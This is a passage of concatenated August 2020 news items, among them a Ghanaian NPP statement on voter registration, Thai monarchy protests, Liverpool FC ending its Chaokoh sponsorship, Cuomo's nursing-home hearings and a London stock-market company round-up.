18 and above. Well, I just hope free SHS has nothing to do with this manifest absurdity of our NDC friends. And please, do not be deceived by the NDCs argument that the registration centres at the Senior High Schools have not been gazetted hence their opposition. First of all, the EC was not created any new centres from the centres that were gazetted. The current legal regime allows the EC to use mobile registration vans and accompanying devises to register eligible voters and assign them to the closest polling station. The Commission has in fact been using this mobile registration vans across the country since the exercise began on 30th June. So, what the EC proposed to do on Friday (10th July) and Saturday (11th July) subject to possible extension where necessary, was to move these mobile registration vans and the accompanying devices to the Senior High Schools to register the final year students who have turned 18 and beyond. This is because per the current executive instrument on Covid-19 restrictions, the students cannot leave campus and go to town queuing to register. Meanwhile, these eligible students have a constitutional right to register and vote, which right cannot be denied under any circumstances. Mind you, out of the about 700 Senior High Schools in the country, over 280 of them are already registration centres which were duly gazetted, hence will not be captured under this special arrangement. And this is what the NDC is kicking against? So, what at all is the alternative? Clearly, the alternative being proposed by the NDC was the SHS students should be disenfranchised. We are sure the students will be guided by this accordingly. CONCLUSION Happily, ladies and gentlemen, in a reported facebook live session held on tour in Kete Krachie, the leader of the NDC, John Mahama, having initially bastardized the voter registration, has now conceded that the exercise has been successful. So, we, in the NPP expect him to apologise to the nation for the dangerous ethnic sentiments he raised, jeopardizing the security of the state with unwarranted attacks. His actions which were mirrored by the leadership of his party unduly created fear and raised political tension in the country. Certainly, Ghanaians didnt deserve this from an immediate past President of this great country who is again seeking the mandate. The NPP will continue to work hard to meet the needs of Ghanaians. The times demand strong and decisive leadership on the issues that have impacted our lives. It is in pursuit of our stated goals that we have not only strengthened the economy but have also managed to provide social and economic support in terms of cost-free water and electricity as well as business-support schemes. The NPP vision of the way forward captured in our manifesto 2020 will hopefully be shared with Ghanaians on the 22 of August 2020. We ask you to look forward on that day to heartwarming policies detailing how, with your support, we will transform Ghana for the benefit of all. Your NPP government remains focused and expect a massive turnout on December 7 to consolidate the leadership and good governance offered by His Excellency President Nana Addo Dankwa Akufo-Addo. We thank all Ghanaians sincerely for rejecting the hate filled divisive non policy based rhetoric of Candidate Mahama. You demonstrated this rejection with the massive turnout for the voter registration exercise. Confirm it even more with a decisive vote against the politics of division come December 7, 2020. May God bless Ghana. Thank you for your attention. Source: peacefmonline.com Disclaimer : Opinions expressed here are those of the writers and do not reflect those of Peacefmonline.com. Peacefmonline.com accepts no responsibility legal or otherwise for their accuracy of content. Please report any inappropriate content to us, and we will evaluate it as a matter of priority. Featured Video Leave the monarchy out of it, student protesters told BANGKOK: Anti-government protesters were on Monday warned to avoid involving the monarchy in political conflict even as rallies by both royalists and their opponents ended without incident. politics By Bangkok Post Tuesday 11 August 2020, 09:21AM Students take part in an anti-government rally at Thammasat Universitys Rangsit campus, where they also demanded charter change. Photo: Apichit Jinakul / Bangkok Post Speaking before the rallies took place, Digital Economy and Society Minister Buddhipongse Punnakanta said that while it was normal for people to hold different political opinions, they must not violate the rights of others nor offend the highest institution in the country, reports the Bangkok Post. Protecting the monarchy was not only the duty of the government but of the people too, Mr Buddhipongse said. Differing opinions are normal in a democratic system. But we have to be careful not to infringe others rights or offend the countrys highest institution. Nobody will accept it, the minister said. Mr Buddhipongse also said that social networks must be used carefully as some information had been distorted, leading to misunderstanding, confusion and even hatred. He then warned protesters from both camps to avoid confrontation, saying such clashes would be damaging to the country. Sakchai Chartphudsa, president of the Association of Kamnan and Village Heads, also called on student protesters to stop insulting the monarchy. He was speaking at an event marking Kamnan and Village Heads Day, which was attended by more than 700 kamnan and village heads, in Nakhon Ratchasimas Muang district. The event was presided over by former deputy prime minister Suwat Liptapanlop. You have the right to assembly to demand charter amendments or whatever from the government but you must stay in line, Mr Sakchai said. These students are mature and well-educated. We dont want them to speak in a way that offends the institution. Meanwhile, anti-government protesters made clear their position on constitutional issues, demanding a new charter be written to end the prolonged hold on power by the government. They made their call outside parliament, which was the venue of the two rallies on Monday. Another group calling itself the Coordination Centre for Vocational Students and the People Protecting the Institution gathered nearby with a pledge to protect the monarchy. About 30 activists and members of the Committee Campaigning for a Peoples Constitution (CCPC) took part in the rally. The 2017 constitution was designed to prolong the power of the coup makers, said CCPC leader Anusorn Unno. He said Section 256 of the constitution makes it difficult to amend the charter, adding that the CCPC rejected attempts in parliament to alter some sections of the charter, as that would not reflect the will of the people. That section requires the support of at least one-third of the Senate or 84 senators. Critics have slammed the section as a major hurdle to making changes. CCPC representatives then handed over their draft for a referendum bill to representatives of opposition parties led by Pheu Thai, the main thrust of the bill being the election of a charter-writing body to work on a new constitution. Pheu Thai MP for Maha Sarakham Sutin Klungsang accepted the petition and promised to work with the other five opposition parties in pressing for a new charter-writing panel. The present charter has flaws that prevent the country moving forward, said Mr Sutin, the opposition chief whip. The CCPCs position is in line with one of the three demands spelt out by the Free Youth Group, the main driver of anti-government rallies. They also want the dissolution of the House and an end to the intimidation of critics of the government. The groups stance differs from the position of the coalition parties and Prime Minister Prayut Chan-o-cha, who favour a charter amendment. The CCPC was formed in September last year by 20 networks to campaign for a new charter. Mr Anusorn, who leads the campaigners, is a lecturer at Thammasat Universitys faculty of sociology and anthropology. Mondays CCPC gathering was countered by a rally outside parliament by 50 banner-waving members of a movement to protect the monarchy. They also urged anti-government demonstrators to leave the monarchy alone and called for House Speaker Chuan Leekpai to use the legislative body to protect the monarchy. The constitution can be amended but the highest institution cannot be touched, read one of the banners. Security officers were deployed to maintain order but no violence was reported and the two groups later dispersed. Student protesters also held an anti-government rally to criticise the government at Thammasat Universitys Rangsit Campus, where I-Law, an organisation monitoring human rights and laws, launched a campaign to gather 50,000 signatures to push for amendments to the constitution. Inside Hook When we talk about electric cars for normal drivers, most of the conversation centers around Tesla and a few models that have made significant headway in the market, like the Nissan Leaf and Chevy Bolt. For the most part, Hyundai is left out of the conversation, even though theyve offered an all-electric version of their Ioniq hatchback in the U.S. since late 2016, one of the most efficient EVs currently available. On Sunday, the South Korean automaker announced its plan to finally get the electric respect it deserves: Hyundai is spinning off the Ioniq nameplate into a dedicated EV sub-brand which will be launching three new vehicles in the next four years, including an electric crossover, sedan and large SUV. Copyright 2020 Albuquerque Journal Five years after failing to gain traction with a similar effort, Albuquerque City Councilor Diane Gibson has once again trained her sights on the possible repeal of a state constitutional amendment barring cities from enacting gun-related restrictions. Per a 1986 voter-approved amendment, the New Mexico Constitution currently says that no municipal or county government shall regulate, in any way, an incident of the right to keep and bear arms. But Gibson and Councilor Isaac Benton want the Albuquerque City Council to encourage the New Mexico Legislature to put the issue back before voters. It is now timely for the citizens of New Mexico to once again consider whether the 1986 Amendment should remain in place, according to a City Council resolution the duo introduced earlier this month. It asks the New Mexico Legislature to authorize an election so that voters can decide if the amendment should be repealed. It is ultimately only a request that the Legislature is not obligated to heed and thats only if the city council passes it at all when it votes next month. Gibson says she has no major legislation waiting in the wings but contends the constitutional amendment is worth a fresh review. Thats a long time ago, she said of the 1986 vote. Theres a lot thats changed. Gibson sponsored a similar council resolution in 2015, but it failed. In a committee-level vote, four of five councilors voted to send it to the council with a do not pass recommendation. But Gibson says she believes the time is right to bring it back. A council committee on Monday voted 4-1 to advance the bill to the full council without a recommendation one way or another. I think its a serious enough or important enough bill that it should be heard before the full council, Councilor Klarissa Pena said during the committees discussion. Only Councilor Brook Bassan voted against sending it to the entire council, noting that she will not support the resolution. I think everybody (understands) that I am not in support of going ahead to allow the local municipalities to dictate anything regarding the Second Amendment, which is a federal privilege that we have, Bassan said. But Council President Pat Davis applauded Gibson for initiating the discussion. He last September introduced a trio of gun-related bills including one that would ban guns from City Hall and other city property that Gibson and Benton co-sponsored but they have yet to go through the councils committee process. Davis said that could begin as early as this month. While Davis said during Mondays committee meeting that the 1986 constitutional amendment may have been well-intentioned, it has shown it is standing in the way of cities like Albuquerque and others of doing whats reasonable to protect our employees. Liverpool FC has not renewed their partnership with Chaokoh - their official coconut milk - as allegations of animal cruelty were denied by the company. The Premier League champions' partnership with the coconut water brand - a Thai company - expired at the end of July and the club decided against renewing terms. The move comes following a campaign, backed by Carrie Symonds - the Prime Minister's fiancee - which was launched after allegations were made accusing the company of using monkeys as slaves. Liverpool have cut ties with Chaoko - their official coconut milk - as allegations come to light PETA investigators visited eight farms where monkeys are forced to pick coconuts-including those for Thailand's major coconut milk producers, Aroy-D and Chaokoh People for the Ethical Treatment of Animals (PETA) conducted an undercover investigation in Thailand which they say proved the firm was mistreating the animals. PETA says the Asia branch's investigators visited eight farms where monkeys are forced to pick coconuts for export around the world as well as four monkey-training facilities and a coconut-picking competition. The animal welfare group says the animals at these facilities many of whom they say were illegally captured as babies displayed stereotypical behaviour indicative of extreme stress. The investigators claimed monkeys were chained to old tyres or confined to cages that were barely large enough for them to turn around in. An investigator claimed that if monkeys try to defend themselves, their canine teeth may be pulled out. 'These curious, highly intelligent animals are denied psychological stimulation, companionship, freedom, and everything else that would make their lives worth living, all so that they can be used to gather coconuts,' says PETA Senior Corporate Liaison Dr Carys Bennett. A monkey on a leash climbs a coconut tree to collect coconuts for his owner in Thailand's largely Muslim Narathiwat province A worker cuts coconuts at a Chaokoh farm in Samut Songkhram province, Thailand (file photo) 'PETA thanks Liverpool FC for its decision to end its association with Chaokoh and calls on the Thai government to take meaningful steps towards ending the vile practice of using monkeys to harvest coconuts.' The club denied that their decision to not renew the partnership with the company was related to the PETA investigation. The coconut milk company has strongly denied the claims made against them in a statement posted to their Facebook page. It read: 'In light of the disturbing reports in the news, we'd like to make it clear that both we and our associated parties do not support the use of monkey labour in the harvesting of coconuts. 'As a family business that has exported coconut products for more than 40 years, we are so grateful that so many of you care as deeply about this issue as we do.' In the UK, Morrisons has suspended its supply of Chaokoh pending investigation while Sainsbury's, Tesco and Asda have removed Chaokoh products from their shelves. A higher minimum wage could increase costs for businesses. Photo Le Toan With nine of the 13 members voting in favour, the National Wage Council will propose the government not to increase the regional minimum wage in 2021, with the opinion of the representative of the Vietnam General Confederation of Labour attached. The final decision will depend on the pandemic situation and socioeconomic development. The proposal has received the thumbs-up from the business community which is currently struggling to deal with COVID-19 impacts. After being forced to reduce production capacity, numerous companies are still hard-pressed to maintain their facilities operations. Compliance with local regulations, including the minimum wage, is our first priority when doing business in Vietnam. However, companies are facing plenty of challenges due to the pandemic including shrinking sales as orders drop, mounting inventories, bank interests, and storage costs. More importantly, none of us know when the situation will improve. Panasonic is not an exception to this situation, Morita Ken, director of HR, Planning, Legal, Corporate Communication, and IT at Panasonic Vietnam, told VIR. We always put top priority to benefits of our employees while trying to sustain our business healthily. Simply keeping employment and wages steady is already a great effort for employers a higher minimum wage would increase fixed costs and make it even harder on companies, he added. Other Japanese-invested enterprises in Vietnam have shared the similar concern as Panasonic's, and they are not eager to see yet another rise in regional minimum wages. Dao Thu Huyen, representative of the Japan Chamber of Commerce and Industry in Vietnam, said that numerous Japanese-invested enterprises have had to reduce operations as the majority of their manufacturing and trade depends on exports. In addition, they are concerned about new waves of the pandemic, which will only exacerbate their current difficulties. According to Huyen, minimum wages and related adjustments aim to guarantee a minimum quality of life for local employees. Wage increases in recent years, however, have put a burden on both employers and employees. In the context of growing difficulties, not even salary hikes can help employees sustain their living standards and only places more burdens on employers. Ultimately, enterprises cannot realise the purpose of benefiting employees by this salary increase. According to Ken, in the case of Panasonics employees, after the deduction of standard living expenses, Panasonic expects that its employees can still put some of their earnings away as savings or investment. Currently, we raise salaries on an annual basis but due to a rise in prices, the increase evaporates and does not help to improve our employees lives. Meanwhile, our fixed costs have increased a lot, which had a negative impact on our business, Ken said. A survey implemented by the Vietnam Chamber of Commerce and Industry in April showed that 82 per cent of questioned businesses were concerned about a plunge in revenues compared to 2019. Some 30 per cent of surveyed businesses forecast that in 2020 their revenues will decline by 30-50 per cent on year, while 22 per cent said the decrease would be over 50 per cent. Many are running out of money to pay employees. As of June 10, the National Public Service Portal the electronic platform connecting the government with individuals and enterprises received over 660 dossiers from 227 enterprises applying for interest-free loans to pay wages for employees who had to stop working due to the pandemic. However, only nine of the dossiers were approved. Truong Van Cam, vice chairman of the Vietnam Textile and Apparel Association, also said that without exception, all garment and textile enterprises have been impacted by the pandemic. In the first five months of this year, companies reported average negative growth due to a lack of materials, as well as a plunge in the demand of large markets. Two men accused of being involved in the shooting murder of a former bikie boss in Sydney's south are linked by DNA to a getaway car which was discovered with a balaclava inside, a jury has been told. Mahmoud "Mick" Hawi, 37, a former national president of the Comancheros, was shot multiple times in the head, face and shoulder as he sat in the driver's seat of his black Mercedes outside Fitness First in Rockdale on February 15, 2018. He died in hospital later that day. Former bikie boss Mick Hawi, pictured in 2015, was shot dead in 2018. Credit:Edwina Pickles On Tuesday, Crown prosecutor Lou Lungo told a NSW Supreme Court murder trial that circumstantial evidence points to the shooter being Mr Hawi's former friend Yusuf Nazlioglu, 38, while the driver of the getaway car is alleged to be Jamal Eljaidi, 32. Both men have been charged with murder and both have pleaded not guilty. Bihar BJP MLA Neeraj Kumar Singh alias Bablu, a close relative of Sushant Singh Rajput, on Monday lashed out at Sanjay Raut for making controversial remarks about the deceased actor's family, especially his bereaved father, and threatened to sue the Shiv Sena MP for defamation. Bablu, who had accompanied Rajput's family to Mumbai for performing the last rites after the 34-year-old was found dead at his Bandra residence on June 14, was left fuming by a piece written by Raut for "Saamna", the Shiv Sena's mouthpiece, and the Rajya Sabha members refusal to back down. In the piece, Raut had alleged that the actor whose suicide is now being probed by the CBI had been anguished over the "second marriage" of his father and did not have cordial relations with his family, hinting that this might have caused him mental distress and driven him to suicide at the pinnacle of his career. Sources close to the actor's family deny that his father KK Singh, an FIR lodged by whom at Rajiv Nagar police station in Patna had triggered a tug of war between the dispensations in Bihar and Maharashtra, had tied the knot again after his mother died in 2002. When asked for comments, Bablu, who has been the only member of the family to speak on the issue, the father choosing to maintain a stoic silence and elder sisters occasionally sharing their thoughts on social media, hit the roof. "I had a good impression of Sanjay Raut. But his cheap (phoohad) comments have left me disgusted. I would like to warn him that he should refrain from talking such nonsense. Else I may consider slapping him with a case of defamation", said the MLA. "He should be ashamed of using such language against an elderly person, that too who has been devastated by a tragedy", said Bablu referring to his 74-year-old bereaved uncle, who has accused actress Rhea Chakraborty and her family members of abetting his son's suicide, subjecting him to mental torture and cheating him financially. The father made a request for handing over the matter to the CBI when Maharashtra governments insistence that Bihar had "no jurisdiction" in the matter led to a stalemate and things came to a flashpoint with a young IPS officer from Patna, who went to Mumbai for heading the investigation, was forcibly quarantined by municipal authorities there. The Centre promptly gave its assent to the recommendation for a CBI probe sent by the Nitish Kumar government, leaving the Shiv Sena, which heads the ruling coalition in Maharashtra, deeply annoyed. Meanwhile, the controversial remarks by Raut, whose party president Uddhav Thackeray is the Chief Minister of Maharashtra, drew condemnation from political circles in Bihar cutting across party lines. While JD(U) leader Sanjay Singh, predictably, rubbished Rauts remarks and called him "mentally sick" (maansik roop se bimar), the opposition RJD, notwithstanding its alliance with the Congress which shares power in Maharashtra, accused the western state of trying to derail the investigation. "It has been the Maharashtra government's attitude, since the very beginning, to divert the attention and thereby derail the investigation. The Shiv Sena leaders latest gimmicks are just another attempt in the same direction", said senior RJD leader Jayaprakash Narayan Yadav. Many people are often curious to know what has been said about them. Public figures are talked about day in and day out, but they are usually advised to not go down the rabbit hole of online comments, which is known to be filled with unfiltered, unsightly messages. However, according to some sources, it seems Prince Harry might spend more time than most fans think on reading articles and comments about him. Prince Harry | Chris Jackson Pool/Getty Images Prince Harry reportedly reads about him and Meghan Markle Ever since Harry married Meghan, Duchess of Sussex in 2018, the couple has become one of the most popular topics on the internet. News outlets often spend time discussing their every move while internet commenters make speculations about their lives. According to a new biography about the Sussexes, Finding Freedom, Harry spends a lot of time reading up on what has been written about him and his wife. Scrolling on his iPhone, he sometimes couldnt stop himself from reading the comments on the articles, said the authors, Omid Scobie and Carolyn Durand, in an excerpt published by The Times in late July. H&M disgust me. They are a disgrace to the royal family. The world would be a better place without Harry and Meghan in it. The last comment had over 3,500 upvotes. Scobie and Durand continued, Harry regretted opening the link. His stomach tied into the same knot every time he saw these sorts of comments. Prince Harry worries about what people think of him, expert says RELATED: Prince Harry Reportedly Tried to Make Sure Meghan Markle Did Not Show Off During Her First Christmas With the Royal Family Town & Country Magazine reported that there have also been other accounts of Harrys alleged tendency to read about himself on the internet. According to one expert, this could signify that the prince has some worries about how others perceive him. Earlier this year, royal reporter Rebecca English told the Daily Mail about an encounter with Harry in Lesotho in 2006. While English was writing about his charity Sentebale on her laptop, Harry peeked over her shoulders. Just wanted to see what you were saying about me, he reportedly said. I always want to know what people are saying about me. Meanwhile, Harrys biographer, Duncan Larcombe, once shared in an interview with Cosmopolitan, I was always surprised at just how religiously he reads stuff thats written about him. I think Prince Charles hasnt read a newspaper in years but Harry, and to some extent William, they almost read everything thats written. Its a sign that probably deep down he is worried about what people think of him. Prince Harry is calling for a better social media environment RELATED: Critic Points Out 1 Clue That Shows Meghan Markle and Prince Harry Probably Did Contribute to New Book About Them Harrys time spent on the internet seems to have opened his eyes about how social media can affect people. On August 6, he penned a piece on Fast Company that called for a change to the current social media environment. Harry revealed he and Meghan have been talking to various leaders in business and marketing about ways to remodel the architecture of our online community in a way defined more by compassion than hate; by truth instead of misinformation; by equity and inclusiveness instead of injustice and fearmongering; by free, rather than weaponised, speech. He also compared the impact of social media on young, developing brains to the effects of lead on children in the 1970s. We knew something was harmful to the health of our children, so we made the necessary changes to keep them safe, healthy, and well, Harry wrote. Researchers Ive spoken with are studying how social media affects people particularly young people and I believe the book of data that we will look back on one day will be incredibly troubling. Harry ended his piece with the belief that people can create a movement towards a better social media environment. He wrote, We canand mustencourage these platforms to redesign themselves in a more responsible and compassionate way. The world will feel it, and we will all benefit from it. Apple, Facebook, Microsoft and 49 other tech companies are fighting against the administrations guest worker visa ban. Theyve filed an amicus brief (PDF) supporting a lawsuit against acting Homeland Security Secretary Chad Wolf and Secretary of State Mike Pompeo over the new rules, which suspend H-1B and other guest worker visas until the end of the year. The administration suspended foreign workers entry back in June as a response to the coronavirus pandemic. In his announcement, the president said that granting worker visas presents a significant threat to employment opportunities for Americans affected by the extraordinary economic disruptions caused by the COVID-19 outbreak. The move, he explained, was made so that unemployed Americans wont have to compete with foreign workers for scarce jobs. The companies that signed the amicus brief, however, disagree with the administrations stance. They explained that suspending the countrys nonimmigrant visa programs fundamentally disserves the interests of the United States by stifling the ability of US businesses to attract the worlds best talent, drive innovation, and further American economic prosperity. The companies also said that they filed the brief to highlight how the guest worker ban can stifle innovation and ultimately harm US workers, businesses and the economy more broadly in irreparable ways. Aside from Apple, Facebook and Microsoft, the signees also include Twitter, HP, Intel, Dropbox, Netflix, GitHub, PayPal, Reddit and Uber. The tech industry has been backing various efforts to combat the administrations visa bans over the past few months. In July, several tech giants, such as Facebook, Google and Microsoft joined a lawsuit that pushes back against a new rule that would force foreign students to leave the US if their colleges implemented online-only classes this fall. Their support for a lawsuit against the guest worker ban is far from unexpected, seeing as a lot of tech companies recruit overseas talent, and H-1B is usually their visa of choice. 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Consumers also put their trust in Jewelers Mutual to protect their personal jewelry and the special moments it represents. The Group insurers' strong financial position is reflected in their 33 consecutive ratings of "A+ Superior" from A.M. Best Company. Insurance coverage is offered by either Jewelers Mutual Insurance Company, SI (a stock insurer) or JM Specialty Insurance Company. Policyholders of both insurers are members of Jewelers Mutual Holding Company. To learn more, visit JewelersMutual.com. SOURCE Jewelers Mutual Group Related Links https://www.jewelersmutual.com STATEN ISLAND, N.Y. -- As state legislators continue to question officials on New Yorks response to the coronavirus (COVID-19) outbreak in nursing homes, Gov. Andrew Cuomo on Monday dismissed the need for an independent investigation into his administrations handling of the crisis within these facilities, according to published reports. No, I wouldnt do an investigation, Cuomo reportedly said during a conference call Monday. I think youd have to be blind to think its not political, he added -- echoing previous sentiments in which he described criticism of his handling of the outbreak in nursing homes as political heat. Just look at where it comes from and look at the sources and look at their political affiliation and look at what publications raise it and what media networks raise [it], he said. Its kind of incredible, Cuomo added. LEGISLATIVE HEARINGS The comments came as the New York State legislature conducted the second day of hearings regarding the handling of the virus within nursing home facilities. A week ago, State Health Commissioner Howard Zucker faced a stern line of questioning from members of both parties who probed among other topics the Health Departments March 25 directive which ordered nursing homes to accept medically stable coronavirus patients. The first hearing, which lasted about two hours, left some politicians frustrated that they were unable to answer a question or receive clear answers from Zucker, who was not present at Mondays hearing. *** CLICK HERE FOR COMPLETE COVERAGE OF CORONAVIRUS IN NEW YORK *** Jim Clyne, president of Leading Age N.Y., which represents over 200 nursing homes, said during the hearing Monday that changes are needed to prepare nursing homes for a potential second wave most notably adequate PPE, which was in severe short supply during the height of the virus. Staffing and testing were also listed as significant concerns for nursing home facilities, which were decimated by shortages due to staff members becoming sick. FOCUS ON STATE DIRECTIVE Similar to the first day of questioning, officials probed the topic of the Health Departments March 25 directive. A state Department of Health (DOH) report issued in early July said the agencys statewide analysis of the timing of admissions vs. COVID-19 fatalities shows that Cuomos March 25 directive could not be the driving force of nursing home infections or deaths. The governor effectively reversed the order on May 10. While Cuomo, a Democrat, has said the pushback he has received for the decision is political, his Democratic counterparts have also expressed criticism of the state report -- as confirmed and presumed nursing home deaths have crept to over 6,000 in the state. The DOH report claimed It is likely that thousands of employees who were infected in mid-March transmitted the virus unknowingly through no fault of their own while working, which then led to resident infection. Assemblywoman Nicole Malliotakis (R-East Shore/South Brooklyn) has fervently called for a federal investigation into Cuomos decision made during the coronavirus outbreak in New York, saying his March 25 directive effectively unleashed a wolf into a hen house, and said Cuomo is wrong to pin the virus spread on nursing home staff after all the pain and selflessness theyve exhibited during the pandemic. The March 25 directive resulted in 6,326 COVID-positive patients being accepted into nursing homes by May 8, and by late April, the Advance/SILive.com reported more than 100 patients were discharged from hospitals into nursing home facilities. TIMING IS QUESTIONED The timing of deaths in the borough continues to raise questions about the danger the March 25 order posed to Staten Island nursing homes, since the boroughs death total continued to climb over a month after Cuomos directive was put into effect. Clyne said Monday that hospitals were already receiving patients from hospitals by March 25. Our downstate members were already taking presumed COVID patients, Clyne said in the internet hearing. They felt it was their mission to take care of that population. Clyne and Steven Hanse, from the New York State Facilities Association which represents about 400 nursing homes said the state Health Department never asked for their input on the March 25 guidance. Both Clyne and Hanse said it is impossible to tell what caused the spike in the virus in nursing homes in April because it would be difficult to pin down a single cause of infection saying that it is possible staff and visitors who showed no symptoms could have spread the virus. Looking forward to the possibility of a second wave, Hanse said being prepared was paramount to the response of nursing homes. Weve learned a lotthe wild card in all of this is the availability of PPE, he said. (Alliance News) - The following is a round-up of updates by London-listed companies, issued on Tuesday and not separately reported by Alliance News: Codemasters Group Holdings PLC - Warwickshire-based video game developer - Revenue and adjusted earnings before interest, tax, depreciation and amortisation will be "significantly" ahead of market expectations in year to March 31, 2021. Codemasters notes strong performance from F1 2020 game, latest instalment of Formula One games. Parity Group PLC - London-based recruitment and professional services firm - Signs partnership agreement with CyberGym to offer cyber-warfare preparedness training. The due win a place on the NI.CO Cyber Security Training Services Framework to provide consultancy and recruitment support in Northern Ireland. Actual Experience PLC - Bath-headquartered analytics-as-a-service firm - Lands agreement with Verizon Communications Inc to supply its Human Experience Management service to increase employee productivity. Service can spot when digital applications are unresponsive and slow and can identify where improvements can be made. Solid State PLC - Worcestershire-based computing products manufacturer - Trading in first four months of financial year running to March 31, 2021 ahead of internal expectations. Revenue down 4% annually. Notes all manufacturing sites open again. Blue Star Capital PLC - esports and payments technology-focused investor - Investee Dynasty eSports Pte Ltd raises SGD3.1 million, about GBP1.7 million, to develop eSports Portal Management platform. Pires Investments PLC - London-based technology-focused investment firm - Investee Getvisibility signs public sector distribution deal with immixGroup, supplier of enterprise IT services to US public sector. Two Shields Investments PLC - investor in technology sector - BrandShield cyber protection investee sees new business in first half of 2020 alone equal all of 2019 as Covid-19 boosts demand. Has 11% stake in BrandShield. Also notes announcement by Power Metal Resources PLC - an exploration and development company - on Kalahari Key Mineral Exploration Ltd. KKME, targeting a nickel sulphide prospects in Botswana, is moving closer to drilling and is working with regulators to secure approval of an environmental plan. Power Metal holds just over an 18% stake in KKME, Two Shields holding is just shy of 18%. McKay Securities PLC - real estate investment trust focused on office, industrial and logistics properties - Acquires fully let logistics asset in Bracknell for GBP10.0 million, representing a net initial yield of 5.6%. Combined contracted rent at 1-4 Willoughby Road is GBP594,722 per year. Urban Logistics REIT PLC - real estate investment trust focused on industrial and logistics properties in UK - Acquires three assets in Colchester, Exeter and Nottingham for GBP36.8 million in total. Also enters into GBP151 million loan facility with Barclays, Santander and Lloyds to replace existing GBP76 million facility, which was due to expire in 2022. New facility has a three-year term with an option to extend by an extra two-years. Phoenix Spree Deutschland Ltd - investment company focused on Berlin residential real estate - Portfolio value at June 30 up 2.3% to EUR746.7 million from EUR730.2 million at end of December. Impact of Covid-19 on rent collection has been "limited". Says it is likely that Mietendeckel, a rent capping law in Berlin, will be successfully challenged. Gunsynd PLC - London-based investment firm - Notes investee Eagle Mountain Mining Ltd begins maiden drilling programme at 80%-owned Oracle Ridge copper mine near Tucson, Arizona. Cadence Minerals PLC - mineral resources investment company - Amapa iron ore project owner DEV Mineracao SA in constructive dialogue with creditors. Settlement with creditors remains the last precondition before Cadence takes 20% stake in project, located in Brazil. Westmount Energy Ltd - South America-focused energy investor - Notes Monday announcement by Ratio Petroleum Energy Ltd Partnership that Stena Carron drillship arrived at the Tanager-1 wellsite on the Kaieteur Block, offshore Guyana with drilling expected to kick off "imminently". Westmount holds roughly 0.7% stake in Ratio Petroleum and about 5.4% interest in Cataleya Energy Corp. Ratio and Cataleya hold 25% interest each in Kaieteur. Panther Metals PLC - Australia and Canada-focused minerals explorer - Finds a total of 253 geophysical anomalies from airborne survey of Big Bear gold project in Ontario, Canada. Notes 39 of 253 anomalies designated as "high-priority". Salt Lake Potash Ltd - Australia-focused miner - Set to raise AUD98.5 million, about GBP54.0 million, from combination of institutional share offer and retail entitlement offer. Raises AUD71 million from issue of 142.1 million shares as part of institutional offer, while AUD27 million retail entitlement offer is expected to close on August 25. Pure Gold Mining Inc - Canada-focused gold miner - Reports forest fire is currently active in town just south of Red Lake mine, Ontario. Pure Gold has temporarily suspended operations at mine. Great Western Mining Corp PLC - mineral explorer with projects in US state of Nevada - Produces first ever gold as a company. Although a small amount, Great Western hails the gold produced from RH Group area of its Mineral County area in Nevada as a "significant milestone". Shefa Gems Ltd - gemstone explorer in northern Israel - Receives ILS330,000, about GBP74,057, and 313,000 shares in major shareholder Shefa Yamim Ltd to settle debt. Shefa Gems has agreed not to sell Shefa Yamim shares in the market for a period of six months, which started July 20. Conroy Gold & Natural Resources PLC - gold explorer in Ireland and Finland - Raises GBP800,000 in placing and subscription of 3.2 million shares at 25 pence each. Including exercise of warrants announced in July, Conroy has secured over GBP1.0 million to bolster working capital. OptiBiotix Health PLC - York-based life sciences company - Results from peer-reviewed studies show its probiotic LPLDL reduces cholesterol and blood pressure. One study showed a 37% fall in total cholesterol and a 5.1% decline in blood pressure. RUA Life Sciences PLC - Ayrshire, Scotland-based medical device business - Hospital orders recovered from Covid-19 lows faster in US than Europe. US orders now at 90% of pre-pandemic levels, Europe at 67%. Notes furloughed staff have returned to work. Destiny Pharma PLC - clinical stage biotechnology firm - Safety review of phase 2b clinical trial of lead asset XF-73 completed by independent committee. Study can continue without any recommended changes and recruitment on track to be completed by end of 2020. Sareum Holdings PLC - drug developer focused on small molecule therapeutics to improve cancer and autoimmune treatment - Expects annual loss on ordinary activities to narrow to GBP960,000 from GBP1.5 million. Hemogenyx Pharmaceuticals PLC - pre-clinical stage biopharmaceutical firm headquartered in London - Enters into research pact with University of Pennsylvania to advance its chimeric antigen receptor T-cells towards clinical trial. CAR T-cells being developed for potential treatment of acute myeloid leukaemia. Fusion Antibodies PLC - pharmaceutical company based in Belfast - Notes partner Queens University Belfast awarded GBP50,000 in funding to develop new schemes to boost life science research in Northern Ireland. Cairn Homes PLC - Dublin-based housebuilder - Revenue in six months to June 30 down about 58% to roughly EUR80.6 million from EUR192.4 million a year earlier. New home sales down 47% to 207 from 390. Operating profit expected to fall 79% to about EUR5.6 million from EUR27.3 million. Modern Water PLC - London-based water supply company - Expects 2019 results to be released by end of month following audit delays. S & U PLC - Solihull-based lender focused on motor finance and property bridging - Sales at Advantage Finance recover to nearly 80% of normal levels as more car sales outlets reopen. Advantage sales were previously as low as 40% of normal levels. Loan applications at record high at Advantage but transaction levels 25% less than last year due to tightened underwriting. Aspen benefits from housing sector reopening with new transactions in July being above budget. Appreciate Group PLC - Liverpool-based multi-retailer - Completes sale of Budworth Properties Ltd unit which owns Valley Road, Birkenhead land and buildings for GBP3.2 million. Walker Greenbank PLC - Buckinghamshire-based interior furnishings firm - Total brand sales, before licensing, discounts and rebates, in six months to July 31 down 28% annually. In UK, its largest market, sales down 31%. In international arm, sales fell 24%. Notes early pain from Covid-19 but gained momentum as half ended. By Eric Cunha; ericcunha@alliancenews.com Copyright 2020 Alliance News Limited. All Rights Reserved. A spokeswoman for the office could not provide an estimate of how many such misdemeanor cases have been dropped under the policy, since the office does not generally keep track of misdemeanor data, and people are just now beginning to go to their court dates as the system emerges from a COVID-related shutdown. The temporary restriction on the arrival of flights to Kolkata airport from Delhi, Mumbai, Pune, Chennai, Nagpur and Ahmedabad was to expire on 15 August Suspension of passenger flights to Kolkata from six metros with high prevalence of COVID-19 cases has been extended till 31 August, a senior government official said on Tuesday. Earlier, the temporary restriction on the arrival of flights to Kolkata airport from Delhi, Mumbai, Pune, Chennai, Nagpur and Ahmedabad was extended till 15 August, amid the surge in coronavirus cases in the state. In a letter to the secretary of the Ministry of Civil Aviation, PS Kharola, state Home Secretary Alapan Bandyopadhyay said,"I am further directed to inform you that the suspension of flights from the aforesaid (six) cities to Kolkata will continue till 31 August, 2020." The embargo on flights from the six metros was first imposed for a period of 14 days from 6 July. It was initially extended till 31 July, and then subsequently to 15 August. DETROIT, Aug. 11, 2020 /PRNewswire/ -- General Motors today announced John 